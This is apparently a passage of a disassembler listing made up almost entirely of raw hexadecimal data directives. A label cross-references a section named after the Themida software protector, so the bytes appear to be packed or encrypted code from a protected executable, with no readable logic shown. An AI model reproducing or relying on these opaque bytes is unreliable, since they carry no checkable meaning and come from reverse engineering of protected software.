		dd 41AEFBE5h, 66A78025h, 7A514668h, 8E655A2Fh, 0A0002943h
		dd 5C2E05FAh, 71684922h, 0DC1F7h, 9F90000h, 8631D6F2h
		dd 0FCFC5496h, 627CFFFFh, 947E5BC9h, 8C38E700h,	952CA482h
		dd 0F8F6D1C4h, 1007F053h, 2D4B6E3Dh, 0C69B913Eh, 29DF6FBCh
		dd 926F6180h, 24F5EDCCh, 563B8655h, 0F9ADB5A9h,	0AFF45810h
		dd 4EB0D3A2h, 802A57FEh, 0F11A6AD3h, 0F169EF18h, 978C1DFBh
		dd 0DA264CE7h, 1CD17B7h, 364F0000h, 73BE9389h, 0F617799Ch
		dd 8E8631CCh, 0DBEED3B1h, 39078F71h, 7FA2756Ch,	1C06C310h
		dd 8631A6CFh, 9FC4E7C8h, 3A01D3AAh, 11236E45h, 8631A728h
		dd 1DC323F2h, 0D47F5128h, 0B085D056h, 0EBF1E6BBh, 0EEF74498h
		dd 7EC99881h, 0DDCB5A9h, 39F94630h, 19FA8631h, 0BCB1784Ah
		dd 0A7889AE5h, 0BC86313Ah, 1DAF353h, 79F770D1h,	15Fh, 7A5146B1h
		dd 8FA5BF9Dh, 7A29FF00h, 6A7D4B1Eh, 629F82Ch, 0C2998E63h
		dd 0F2645F0h, 0FCE06E65h, 8EBA7B81h, 74ED6664h,	0ECBA877h
		dd 75986961h, 38978F13h, 0DA25068Ch, 2A8277C8h,	83E34C80h
		dd 6A19916Ah, 3209F1h, 62410000h, 947E5BC9h, 8C38DE78h
		dd 0EB382211h, 0EC802ABBh, 0DFF13C0Bh, 802ABB8Eh, 0E4AAFA63h
		dd 0BBF03D27h, 8E9802Ah, 56744DE5h, 0CCECF16Ah,	24000000h
		dd 9D7A5146h, 0D621FEF0h, 6439DCFFh, 794E996Eh,	68B59F84h
		dd 618631CCh, 9166B180h, 3BE8C59Ch, 28755F48h, 218631CDh
		dd 4F267140h, 90B39082h, 0E5646266h, 0E9DE8631h, 0BC694012h
		dd 0C5CEF1C6h, 24E1BEA6h, 8BC2DB46h, 9A71BC99h,	1044F9Ch
		dd 9F587CDEh, 60418C3Ah, 8FDCC683h, 7180285Ah, 285B3A87h
		dd 945A3B80h, 0AE5B90B3h, 4A11E3B8h, 31C87F54h,	83A3F807h
		dd 0ADFACF6h, 0B2AB0000h, 534A11E3h, 0EFE7AE80h, 93854C1Eh
		dd 271DE4B6h, 6DAE8052h, 5C2E03F9h, 0F5C7A295h,	8F613A2Eh
		dd 2AFCD3C8h, 9DEAD411h, 9680253Fh, 50465755h, 0F4CBC06Dh
		dd 7BC8D2A9h, 448631CCh, 6B5B25D4h, 7A5B213Eh, 1D12D9ABh
		dd 46BC7446h, 5A2F7A51h, 80BC8E65h, 43Bh, 12E5DC89h, 2E23F0C7h
		dd 601E3457h, 121219A1h, 4E094B35h, 0FF08C3Eh, 3931DEC5h
		dd 23461D68h, 3613111Ah, 0DD0B9B79h, 0BDE05E92h, 6592660Fh
		dd 254817F2h, 2C0513C3h, 51FEBB86h, 633A855Ch, 26050C59h
		dd 39120686h, 4D9A8473h, 46862605h, 55739665h, 0C6172974h
		dd 9B862604h, 0E0B9D232h, 58F7659Bh, 383h, 0CCB80990h
		dd 33758631h, 3B8631CDh, 9A573430h, 31CC63B0h, 93856486h
		dd 0C5946BB6h, 0B3836DA2h, 0B28C38CEh, 95E91AD1h, 52DFA3F5h
		dd 9EC08h, 0F0BFB800h, 8D60571Eh, 2BFCF4BBh, 0C3A09259h
		dd 5F342AF1h, 67ABB8Dh,	0A2693B10h, 3B02D4AFh, 0D59C6E47h
		dd 1E3709E0h, 3EAAF7E1h, 6AAB8025h, 7A51466Ch, 99C0BF9Dh
		dd 0A1EA1327h, 18F6DB7Eh, 634DFFADh, 8630E816h,	0D2302E0Fh
		dd 1F6C562Dh, 18863106h, 3C456837h, 0F03D272Fh,	0E9863105h
		dd 725C3908h, 8C3D8733h, 0B6613314h, 0E8D2AFB5h, 863207ADh
		dd 3FECC9AAh, 0C89F714Ch, 5D4210Bh, 0F4D58631h,	7466FD1h
		dd 73308631h, 31073C89h, 695E3D86h, 0A1704792h,	6FC9757Eh
		dd 8E3D69Dh, 60AA4D2Bh,	438E655Ah, 2E9C6E6Ch, 8B600326h
		dd 25E2BF96h, 30D5EE3Bh, 0E306E786h, 0BBAE5B40h, 9BBE95E0h
		dd 0AE8B9992h, 380050C4h, 0D854328Ch, 216E58A0h, 22802AA1h
		dd 0E3474341h, 0B394B2D5h, 0F59F11FCh, 0F43ECBA3h, 901h
		dd 3305D4CDh, 0D0A2756Ch, 6E401109h
		dd 6D8B5A7h, 0A274493Fh, 251B8FD0h, 0C4B77E50h,	5C5017E9h
		dd 0F5EAB183h, 0F6334C1Eh, 253DBF0Ch, 7977B880h, 7E5BC962h
		dd 0C8D8DAD1h, 0D87C4F54h, 19F03B0Ah, 0D805523Ch, 1DFE8630h
		dd 0A0DBC5FAh, 798C3D58h, 1B0EBB98h, 1856340h, 471480A2h
		dd 0AE759FC2h, 0C79CB1BBh, 717FE3FFh, 8D9E57A2h, 1D0A199h
		dd 0A9847724h, 2F64875Eh, 38779472h, 43758BDAh,	532A7550h
		dd 0C0FF6184h, 0C18631CDh, 4FDC95E0h, 0C20DE0D7h, 54271EEBh
		dd 7EBEA885h, 688C38D6h, 0C274C1ABh, 7C6E802Ah,	0B77D549Fh
		dd 0B495B3D6h, 0F59F1AFDh, 0FF49D6A3h, 845h, 77491811h
		dd 14E6B9B0h, 0B284554Dh, 4A1CF9EBh, 0E6B88D83h, 695FD314h
		dd 8FBC294h, 0A0945B2Dh, 392EF5C7h, 3A779062h, 253D0350h
		dd 0C5C30480h, 2F7A5146h, 0B18E655Ah, 0CCBD0AF4h, 0D5B68631h
		dd 9EF50FB2h, 225FCF1h,	7E5ABFBh, 3B3269D3h, 89AED10Ah
		dd 0B1EBBD94h, 0F77090D8h, 14A50h, 51468800h, 655A2F7Ah
		dd 1A11BC8Eh, 0C3702D0Ah, 0D7ACF7CEh, 5D3A09E4h, 31CD2673h
		dd 1B3E1F86h, 38E735B9h, 6C600D8Ch, 4E714893h, 895A5130h
		dd 1FEEBD94h, 0C7A29542h, 0DF82A57Ch, 0C1B21CFAh, 1DDD932Dh
		dd 9D4798FAh, 0B31C802Ah, 33613A53h, 20D9F16Ah,	11000000h
		dd 7E5BC962h, 38DE7894h, 0E530118Ch, 2ABB82D3h,	96EE5780h
		dd 6A569C75h, 0C014F1h,	464C0000h, 189E4B51h, 58E3B421h
		dd 30D4216Eh, 72412286h, 8D8358A3h, 341EDBB8h, 8630D3E7h
		dd 490FE2D9h, 0CDA24568h, 772401D8h, 0E88BAE7Fh, 75471E13h
		dd 27FAF19Eh, 0EF8CA204h, 91868630h, 2E3DE8BAh,	4B6F5936h
		dd 4A8C3A93h, 0E5CF8C69h, 80287E98h, 588DB091h,	0EEE2B5ABh
		dd 26F3CA15h, 0BA8C5B30h, 7128FDF3h, 0A3F7E3B0h, 0FE7DC754h
		dd 0CA000006h, 693002D1h, 6CD9F72h, 0A46B3D0Eh,	3C03D5B2h
		dd 0CD9F7146h, 4D22188Ch, 0E6C1B47Bh, 80594D14h, 1BF2E7AEh
		dd 9F33049h, 80253BBCh,	367E7CBDh, 80A9C858h, 0ABB7B58Ah
		dd 0EB0C2AC7h, 59D5AB6Fh, 4C42678Ah, 0E9DEA577h, 7B4A1D14h
		dd 5146F1A9h, 0FCF09D7Ah, 0DE01D823h, 9A71663Bh, 518CC8h
		dd 60B40000h, 0C1A3C8F2h, 1D4927E4h, 54B09C66h,	0C8976860h
		dd 0BE0243A5h, 22038C3Dh, 4F44F1D8h, 0A94A5578h, 645CCA61h
		dd 0A2714893h, 635B08C5h, 0A3704792h, 51B3D6AFh, 86323D11h
		dd 54320FF0h, 0C1B4CA1Ch, 0C6C49BE6h, 375AB3C8h, 434995h
		dd 62710000h, 947E5BC9h, 8C38EF58h, 0A5766D1Ah,	0E90CDBAEh
		dd 8D9FEACBh, 802A9B3Bh, 0D16BBB44h, 5D379B5Ah,	110983B6h
		dd 3F7B6542h, 16924003h, 0B4276335h, 30000000h,	0FF3C8973h
		dd 43368631h, 9EC1A268h, 5BC96288h, 4E51947Eh, 65468C3Eh
		dd 35AA4934h, 522B5CA4h, 0CAF164E7h, 72h, 0A2583602h, 2B4805F3h
		dd 0BDAEB7DAh, 9EE0CAA7h, 9B8C3E4Bh, 59E89BAh, 0E3A9F98Ah
		dd 1E694236h, 0B38C2447h, 2BF164E4h, 46h, 5DC96263h, 0B6969465h
		dd 64811D39h, 0A663400Fh, 0B2E03F9h, 3D8468A9h,	0AB88698Ch
		dd 683506FEh, 79509B74h, 0DAB8CD56h, 0D889B522h, 32E13344h
		dd 738B6D6Bh, 0EC071235h, 0E90262F3h, 0F1651A10h, 1A88h
		dd 7936C000h, 31CD428Fh, 3F624386h, 31E624DDh, 21FAEE86h
		dd 0FF191052h, 6238FFFFh, 0C17E5BC9h, 31CC8AD7h, 0B6AC8B86h
		dd 0BAEF12E1h, 855A50FDh, 0DE40633Ah, 8C3E4ECBh, 3E1108B5h
		dd 4B2A7761h, 4A2B8025h, 0DD280927h
		db 24h
byte_595B05	db 7, 0EEh, 7Bh		; DATA XREF: Themida_:0053D828o
					; Themida_:0053EB58o
		dd 15B1DA80h, 0BE16634Dh, 2E0F8025h, 0C9B3905Fh, 86323E89h
		dd 0A35CA788h, 0D5BF9C88h, 8C3DBF6Ah, 0B4613E1Fh, 6D18EABDh
		dd 9F8966FEh, 8632408Ch, 22CFAC8Dh, 7F83552Eh, 1E57EC63h
		dd 5741261Bh, 0EE0BA60Ah, 0E5321C0Bh, 0DEEE0BA5h, 67512EFDh
		dd 0EE0BA61Ah, 996B3A1Bh, 2906DDD2h, 65B0877Ch,	0FC86B8Eh
		dd 3F140A1Ch, 714E1DF4h, 12C83B87h, 0E593AF4h, 0F4AAFAC9h
		dd 8F5628FFh, 9277C29Bh, 0F91CEDE5h, 0BF0ADDD4h, 520858C9h
		dd 0EBA8855Eh, 10C7B401h, 0B1D4B5E8h, 0F5CCC087h, 8DBEFDFDh
		dd 0DEBA5425h, 1EEDC40Fh, 0C89F9441h, 601D02A5h, 10722976h
		dd 7C492AE8h, 8F66B186h, 0DF40616Ch, 3428D62Eh,	4590695Dh
		dd 6F50706Eh, 17726DB7h, 62BE7648h, 401560CAh, 5429744Bh
		dd 693E895Eh, 0E539E73h, 1337E73Fh, 28B212h, 988D5426h
		dd 0CE7B90C1h, 0E3BA05D6h, 603FB5C0h, 8C39F74Fh, 0F4D1C396h
		dd 3603D2A9h, 49206B40h, 350C0126h, 4C1D14EBh, 5E337E59h
		dd 6F46916Ah, 7486D1A0h, 8631CD27h, 0D48ADAA9h,	61380ADDh
		dd 4087BD83h, 0F81B778Dh, 0BB06DFD3h, 315E59A9h, 0B9665B86h
		dd 0CEA5F0C1h, 9E5CA4ABh, 0FBFFD1AAh, 86317C6Ah, 0F0CAA2E2h
		dd 7842F770h, 7AFFFFFFh, 0A87A5146h, 0E415ECE1h, 0E213EADFh
		dd 702E7695h, 5FAC967Bh, 588631CCh, 145EA877h, 0F771683Bh
		dd 3AB3h, 8936EB00h, 9D74BF92h,	6AFA717Ah, 4D63A38Dh, 81628C3Eh
		dd 174F6550h, 35E2A8F8h, 3D466940h, 6F59362Eh, 8631CD2Fh
		dd 3503AF7h, 48631CDh, 1E20023h, 386BB7h, 62930000h, 947E5BC9h
		dd 8C3E4E54h, 38235435h, 8D6459B5h, 0A1786D42h,	0B68B8156h
		dd 0A45AAA79h, 0B68DD8AFh, 459DE4E7h, 0DE6DA87h, 0DA4AE1EAh
		dd 0CCD313FDh, 0D1B28631h, 5146BF87h, 655A2F7Ah, 1A11BC8Eh
		dd 8B802D0Ah, 949269B4h, 571C82B5h, 0B1E60947h,	382943C7h
		dd 651328Ch, 2A28A3F4h,	0B70F7880h, 69BFBD96h, 3D35F1h
		dd 366D0000h, 0CD428F79h, 62438631h, 2F35363Fh,	0DE4C6852h
		dd 6C4D8C38h, 0BBBE0F21h, 0C5B8802Ah, 0D4CA9FEAh, 6CAEB4FFh
		dd 7BC6E7B7h, 0ED355E70h, 72D23B2Dh, 69CE8059h,	0FCF8F1h
		dd 46300000h, 5A2F7A51h, 6F448F64h, 7358A37Ah, 0ADF8D3C6h
		dd 998EB3D6h, 5C19F0C2h, 31CD2572h, 49241786h, 806127FEh
		dd 0D175FB5Dh, 0E8DD8631h, 4B491C13h, 0CCA98926h, 0B28F5E52h
		dd 442E0D05h, 8630F2F7h, 0F5400FF0h, 0FAD1FB1Eh, 3984554Dh
		dd 251A3F62h, 0F3095640h, 290A8630h, 0BCC842Bh,	986771D5h
		dd 411A0EBBh, 59FC1FF6h, 0BC998BA0h, 389902D2h,	2A14038Ch
		dd 802A80DDh, 5426F5D6h, 0CA7382A9h, 847E4554h,	0DB886534h
		dd 0F0C712E3h, 84AE98CDh, 85863439h, 241AC7A4h,	0DE0A5741h
		dd 2A0B8622h, 0CCC2895Bh, 0E12C05F9h, 0DDC512FCh, 0DDBE8622h
		dd 724F410Eh, 843FECA3h, 4CD99DFDh, 20C02h, 10DFD800h
		dd 0AD80773Eh, 4B1C14DBh, 0E3C0B279h, 7F544A11h, 269ADBADh
		dd 0C2895B30h, 5B22F4CFh, 0F5BC8E67h, 3E572900h, 36CA1701h
		dd 8ACB8025h, 7B50468Ch, 16EDE2A9h, 0C9628C44h,	78947E5Bh
		dd 118C38DEh, 1B663D32h, 182A7544h, 802ABBC7h, 0ADF8C9C1h
		dd 0BB91DEC8h, 0B192802Ah, 0CE19EEE4h, 9941A1A2h, 0C5E63EA7h
		dd 0F16A56ECh, 0FE64h, 79369C00h, 31CD428Fh, 3F624386h
		dd 34E251Ah, 8663382Eh,	0CC92DFC9h, 0B2938631h,	54DAEC8Fh
		dd 3E8631D1h, 0D9A07249h, 9C20DE4h, 0BD0AF462h,	0B68631C8h
		dd 3F2906D5h, 8C38F86Fh, 3B08D6Eh, 15EC370Eh, 13F1C8F2h
		dd 562CEFBh, 0B6456834h, 0EFC60C4h, 18131C3Fh, 0BC452F0Ch
		dd 0BD86345Eh, 5C52FFDCh, 3EDAA87h, 862319B6h, 1961AE98h
		dd 81628623h, 0F3BCABBBh, 87DBD543h, 0A46B95B8h, 1322D9AEh
		dd 199DFD8Eh, 10F428Ch,	0E2DB0000h, 837A4113h, 1F17DEB0h
		dd 0C3B57C4Eh, 574D14E6h, 9DDEB082h, 8C5E3329h,	25F7D2C5h
		dd 0BF916A5Eh, 5A2C03F8h, 0CD1A0441h, 0C6802535h, 58368785h
		dd 132BE5ACh, 0DDB8ABF2h, 0C9ECBB92h, 0FCD9AEA4h, 8BD0281Eh
		dd 4B6EFCC0h, 0AF8D4A21h, 3B756912h, 6EBBC576h,	6786313Dh
		dd 72BFA986h, 7386313Dh, 554A6F92h, 3E398670h, 593A8631h
		dd 3600B88Ah, 0CD428F79h, 473C8631h, 884E2570h,	0EE5DAA7h
		dd 0FAD1C6EBh, 2976601Dh, 2A8631CDh, 42504B49h,	74C1C2AFh
		dd 0E4D9AE51h, 7F743B0Dh, 9963B09Ah, 83648631h,	261BE2B4h
		dd 0FD94724Fh, 48DA64B7h, 0ACBE6184h, 0DF93E81Fh, 0B369B9BAh
		dd 4D0AE7BEh, 0CED21663h, 3A15082Ch, 715218EFh,	685D244Eh
		dd 7F714691h, 2DE7C5A2h, 7EA8824h, 68B59F7Ch, 612CCFA7h
		dd 0E5BA5D80h, 0C7CD18F1h, 4DD49A71h, 3F36031Fh, 0B039216Ch
		dd 9C6BA850h, 0CAA19644h, 653C31F8h, 3D01Ah, 67F80000h
		dd 7E4D4667h, 92695E33h, 0A57E7247h, 0B792855Ah, 0CCA1976Ch
		dd 0E1B6AC81h, 0F2CFC196h, 9DAD2A7h, 1FF2E9BEh,	895188D4h
		dd 4BD55E1h, 1000000h, 0E9835DE9h, 240C8704h, 0E289525Ch
		dd 4C281h, 0EA830000h, 24148704h, 241C895Ch, 286068h, 240C8900h
		dd 82DDBF57h, 0FB89060Ch, 83243C8Bh, 0EC8304C4h, 24248904h
		dd 4240481h, 59000000h,	0FA268h, 241C8900h, 0FF08418Fh
		dd 81592434h, 4C4h, 241C8B00h, 81E18951h, 4C1h,	4C18100h
		dd 87000000h, 0E95C240Ch, 0FFFBA890h, 101CA3A9h, 79EBD824h
		dd 9FB8AF82h, 3060C98h,	1AE0FFC5h, 8911C038h, 0F96C89CEh
		dd 317D2ECDh, 1C3371B5h, 5E1F1430h, 827D1F53h, 0EE473811h
		dd 602C9091h, 47147323h, 29398E1Eh, 0E7011987h,	8D26C3F3h
		dd 0C9A3F8Dh, 0CE906h, 0DAB20000h, 8E3B6BC8h, 942D3394h
		dd 8D8901E8h, 6071AD9h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 17C35343h, 8B517285h,	700F985h, 85C75F06h
		dd 607101Dh, 6950h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 39C35343h, 392DF69Ah,	0E486368Bh, 2E91B866h
		dd 330585C7h, 607h, 6A0000h, 3E851h, 59200000h,	4C8959C3h
		dd 44810424h, 170424h, 51410000h, 0F54DBFC3h, 69B5FF0Bh
		dd 29060704h, 70C059Dh,	5995FF06h, 6A060718h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 29B2C352h, 8BEFFB64h, 533A72DCh, 0D658509h, 6A5B0607h
		dd 6995FF00h, 8B06070Dh, 0BC48EBC0h, 8AF10547h,	7F76BAF4h
		dd 8905CF29h, 828D5252h, 0EFBF5DFBh, 5885250Fh,	204E7B3h
		dd 70CBFC3Eh, 9F232810h, 0F9BD0E60h, 50667F4Dh,	70C19CE9h
		dd 9ECC3576h, 0DF8B1069h, 2BFAFBB1h, 0C23B9FE4h, 60A2E4D0h
		dd 8B7AAA2Bh, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 6F47F624h, 40ABA8F6h, 890F512Fh
		dd 3, 5ADEB70Fh, 1ACDBD83h, 75000607h, 35BD8309h, 60711h
		dd 53501974h, 0FCB8C08Bh, 89000003h, 71F7D85h, 0C09D8D06h
		dd 0FF0609ADh, 83585BD3h, 71135BDh, 17740006h, 0FCB85350h
		dd 89000003h, 71F7D85h,	0AF9D8D06h, 0FF0609AAh,	6A585BD3h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 84B4C353h, 16840Fh, 11E90000h, 1B000000h
		dd 0D0C1FC3Ch, 8F00A32Dh, 0FB89BCDDh, 312C7C52h, 5E9C08Bh
		dd 57000000h
		dd 4E5F00D3h, 19BDBD83h, 0F010607h, 4E84h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
		dd 0E2D0700Bh, 0D7DFDFBh, 81D98BA2h, 24067CF2h,	79BD8346h
		dd 60728h, 15850Fh, 57B70000h, 3335BD83h, 0F000607h, 6384h
		dd 8ED28100h, 0E97DDAACh, 3FAh,	11E9h, 0A50BDD00h, 0D2FD4EFBh
		dd 290B61ECh, 4C4EA8C3h, 0B63Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 9A0FDEC3h
		dd 6AF86Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 48591CC3h, 290C905Ah, 0F0923E7h, 30E2A66Eh
		dd 0B3656DEDh, 0B56F3794h, 0B494B3BEh, 0EEDE8BCh, 99B71Bh
		dd 9136B549h, 4A24A278h, 66E44325h, 0B56A6513h,	0E46F4F7Dh
		dd 0B56F2656h, 7636055Fh, 9123ACF6h, 912BA4D3h,	0B56F38EFh
		dd 763E64F5h, 57245821h, 0CC3A609h, 3460141Bh, 0B56F255Dh
		dd 5D3AFF24h, 0B56F25D7h, 0DC82A4B6h, 0BA692969h, 0B56F247Bh
		dd 0B505D97Dh, 0B56CCDEFh, 0EC4F255Fh, 0F9E67C6Ch, 0F1EE21F3h
		dd 0B57621CFh, 0E42E25F5h, 1B247C39h, 0BAEEF74Dh, 0B56F223Ah
		dd 0B4E22A5Fh, 4D6F25AFh, 3D60E55Ch, 0B56F25EFh, 87A99F93h
		dd 0E73F750Fh, 8460FCF7h, 0B56F3657h, 0D8136C5Fh, 626F3E9Fh
		dd 74996386h, 0E35330E1h, 0B1FBCD8h, 0B1E67DA0h, 0E26F4F59h
		dd 0B56F2656h, 7630055Fh, 9113ACF0h, 912BA4D3h,	0B56F3FEFh
		dd 763862F5h, 0ED09D271h, 0BA861227h, 4B4B69BFh, 86149F39h
		dd 0ADED2AF7h, 5D6F25D7h, 0B56F25FAh, 0AC0ECF2Eh, 0E40A0DB8h
		dd 4B4D2E59h, 5FDF11F4h, 0B034DD37h, 0B56F27A3h, 5D3F25BDh
		dd 0B56F25E8h, 0EDAC7DD5h, 0B14B6173h, 0B14B61FCh, 0B56F25A7h
		dd 2DAC751Fh, 0CAFBCF4Bh, 4BA9A570h, 0B5052D60h, 0B56CCDA6h
		dd 0EE4F25FAh, 0E9E67EBEh, 0F1EE219Ah, 0B579217Bh, 0E62C25AFh
		dd 89ED7114h, 6ED82ABAh, 0FDE443AFh, 0B7ED2A06h, 3E6F257Dh
		dd 0B56E9D69h, 0E59A255Fh, 0B56F2B47h, 0F0F9BAD7h, 9931FB09h
		dd 0C603EB4Eh, 0EEB2E918h, 0DF4B29F4h, 0B68777BEh, 956F255Fh
		dd 3C35E6F5h, 346B0183h, 0A26B01AFh, 0F76F25F5h, 7738E6A8h
		dd 0E09D929h, 0FDDC7E0Bh, 0DFB6A939h, 0B68772AFh, 956F25D7h
		dd 3C30E6B4h, 346B0189h, 0AD6B01BEh, 0F26F257Dh, 7283E6E9h
		dd 5CE1097Ch, 0B56F25A3h, 1016F164h, 91060F1Ah,	0A533DED6h
		dd 0BA6BE40Ch, 0B56E0AF8h, 0CCA5A4BEh, 0EC1E78DDh, 5D3C25C5h
		dd 0B56F25D4h, 0EEAC7ECBh, 0B14B797Ch, 0B14B617Bh, 0B56F2567h
		dd 82AC76FDh, 0E546830Eh, 0BB86C47Dh, 66F25D7h,	7A3DF11Dh
		dd 9EF61341h, 349C7C7h,	0BDE72A07h, 0BA6F25BEh,	0B56F27D4h
		dd 353476AFh, 30604DEEh, 0B56F24DAh, 5D3A259Fh,	0B56F25F9h
		dd 0E8AC785Dh, 0B14B4937h, 0B14B61DEh, 0B56F25B2h, 0F2AC7092h
		dd 0B0BBCAD5h, 0DB791195h, 0B8269E04h, 3B601A7Fh, 0B56F25BCh
		dd 0CCE4D5D5h, 0E56F4FAEh, 0B56F263Fh, 763705EBh, 912BACADh
		dd 912BA4FEh, 0B56F3279h, 763F65BEh, 5BED7B43h,	0E78DA4C9h
		dd 0B590A413h, 0BAEF25EBh, 0B56FE977h, 0E76F4FFAh, 0B56F2695h
		dd 763505BEh, 913BAC05h, 912BA4ABh, 0B56F33D3h,	763D67EBh
		dd 5CB31A07h, 0B56F25E9h, 0A6938397h, 89006857h, 0F73348AFh
		dd 5E4964A2h, 35987AE8h, 0F09F90Dh, 30A8955Fh, 0B363BE39h
		dd 0B56F257Ch, 1286FC35h, 0DF6F255Fh, 0B68774AFh, 956F25D7h
		dd 3C36E6B2h, 346B01B9h, 0AC6B01BEh, 0F46F257Dh, 8DBCE6EFh
		dd 6A45B26Dh, 0B56F7D46h, 0EF9373D7h, 0B564CCB2h, 234025F5h
		dd 8E34CF2Fh, 8E4BBE3h,	0CCEC436Ah, 3160DA54h, 0B56F2596h
		dd 0B56CA4D8h, 3E0925EBh, 65E4432Ch, 2EACA03Dh,	0B56E2371h
		dd 0B50525BEh, 0B56CCD0Ch, 0EE4F25AFh, 0E9E67E14h, 0F1EE21CFh
		dd 0B57421D1h, 0E62C25FAh, 28DD45BEh, 59B850F6h, 0B5056D6Bh
		dd 0B56CCDF8h, 0EA4F25D7h, 0C9E67A28h, 0F1EE21D1h, 0B57521DEh
		dd 0E228257Dh, 37BE5C7Dh, 0FC589FC8h, 0E09FC25h, 0C0D6F5C3h
		dd 381364F9h, 0B9CEE070h, 76D2A8FCh, 8E6929E2h,	85685146h
		dd 0F2A6F450h, 0B505D044h, 0B56CCD81h, 0EB4F25EBh, 0C1E67B36h
		dd 0F1EE21DEh, 0B5722159h, 0E32925BEh, 6788049Ch, 0B2C681D1h
		dd 0E758CB14h, 0BC867F1Eh, 356F25F5h, 1D6276E3h, 41D52715h
		dd 5D3A25D4h, 0B56F255Ch, 0E8AC788Fh, 0B14B495Eh, 0B14B616Ah
		dd 0B56F25ECh, 68AC70BFh, 0E637806Bh, 0B6E42A7Ch, 356F255Fh
		dd 8ECEF79h, 0B3683C6Ah, 0C7EB2AEAh, 0DF6F25F5h, 0B68774FAh
		dd 956F257Dh, 3C36E6E7h, 346B0113h, 0AE6B01EBh,	0F46F25D7h
		dd 0FB52E6BAh, 0B0C687BAh, 3E091419h, 0CCD2A6AEh, 0B5692296h
		dd 0B550A050h, 0D53825AFh, 314FD456h, 3E092E29h, 36354426h
		dd 0B25C1047h, 3160257Bh, 0B56F25F0h, 5D3D2535h, 0B56F25ACh
		dd 0EFAC7FF7h, 0B14B7162h, 0B14B6174h, 0B56F25E6h, 0CEAC773Fh
		dd 7461F959h, 91C4F9ADh, 0B5A0CC57h, 5D0F25D7h,	0B56F25F8h
		dd 0F48034ECh, 4B164ACAh, 0F64E0AAAh, 0E4BD450Dh, 3EC1B124h
		dd 34607F75h, 0B56F25D6h, 8EC441Eh, 0B3683C48h,	0CCEA2AFBh
		dd 3F6F257Dh, 0B5057842h, 0B56CCD0Ch, 0EE4F25AFh, 0E9E67E14h
		dd 0F1EE21CFh, 0B57B21D1h, 0E62C25FAh, 66E4C1BEh, 76BFAED8h
		dd 0B56F29B7h, 2A33BDAFh, 0C03E61F4h, 0ACA7DDDDh, 0EF9FAF7Eh
		dd 0B56F4513h, 0E06F4F7Dh, 0B56F2656h, 7632055Fh, 9103ACF2h
		dd 912BA4D3h, 0B56F39EFh, 763A60F5h, 91A93B6Bh,	32436FFBh
		dd 0B57FCCA4h, 66F4255Fh, 0A37C966Bh, 756D9B94h, 9C84CDC5h
		dd 6FE42296h, 4D3C45A7h, 0D4B1AE23h, 0B563CD71h, 6B8E255Fh
		dd 456F3B2Ch, 616282B6h, 0B0866588h, 8E6F25F5h,	1CF37477h
		dd 0B0D2A827h, 38692922h, 0B9CEB7D2h, 0E9729DA9h, 305C5EEDh
		dd 0B36825E6h, 5CAEEADEh, 64F9C0D6h, 0E0703813h, 0A8FCB9CEh
		dd 29E276D2h, 51468E69h, 0F4508568h, 5E983A6h, 0BD83A4F3h
		dd 60C9BC3h, 8D0D7400h,	74B9B8Dh, 1B806h, 0E1FF0000h, 50006A40h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 999A8A77h, 8AAF7307h, 68B0FF5h, 81000000h, 0A64C4C3h
		dd 57006A47h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 8CB8AB20h, 2B97C9E8h, 7CB75583h,	6A2DE883h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 9160C355h, 2F00BA2h, 6DD680F2h, 13E9C08Bh
		dd 67000000h, 0AA3E88B8h, 0E41DA19Fh, 2A50059h,	4C60ED55h
		dd 0BD839909h, 6071ACDh, 83097500h, 71135BDh, 19740006h
		dd 0C08B5350h, 3FCB8h, 81858900h, 8D06072Fh, 9AE279Dh
		dd 5BD3FF06h, 35BD8358h, 60711h, 53501774h, 3FCB8h, 81858900h
		dd 8D06072Fh, 9AAC89Dh,	5BD3FF06h, 4B49BA58h, 820F7643h
		dd 4, 443ABA66h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 15h,	58C35646h, 8DC08B09h, 0CA3B18Dh, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
		dd 57863B23h, 38E0FB9h,	0F000000h, 5651FEB7h, 5E5F6DB3h
		dd 1AD98D89h, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 0DD2A6DC3h, 0E6D3FD29h, 101D85C7h
		dd 6D900607h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0EEA4C5C3h
		dd 1E1D958Bh, 85C70607h, 6073305h, 0
		dd 0F303C881h, 0B5FF38E6h, 6072D31h, 0E23BEA81h, 95FF6F70h
		dd 6071859h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	8CC35747h, 8B650AB1h, 727F985h,	0FF006A06h, 70D6995h
		dd 0EBC08B06h, 0A9B11D0Ah, 0E1BB654Ah, 0EB77AD4Ah, 2F5BF08h
		dd 0E7339C6Dh, 0CE0E977h, 51680000h, 0E9060CA5h, 0FFFAD9ABh
		dd 0CA67368h, 0D9A1E906h, 0F68FFFAh, 0E9060CA8h, 0FFFAD997h
		dd 0CA93668h, 0D98DE906h, 9868FFFAh, 0E9060CAAh, 0FFFAD983h
		dd 0CACB868h, 0D979E906h, 6068FFFAh, 0E9060CAEh, 0FFFAD96Fh
		dd 0CAF6868h, 0D965E906h, 0DC0DFFFAh, 0E10DB449h, 0DC0AB146h
		dd 0D605AC41h, 0CCFFA63Bh, 0F109A439h, 0DD720336h, 0D76C0936h
		dd 0CE63FE30h, 0CB60F727h, 31A290FEh, 7C43974Eh, 0FC2C9365h
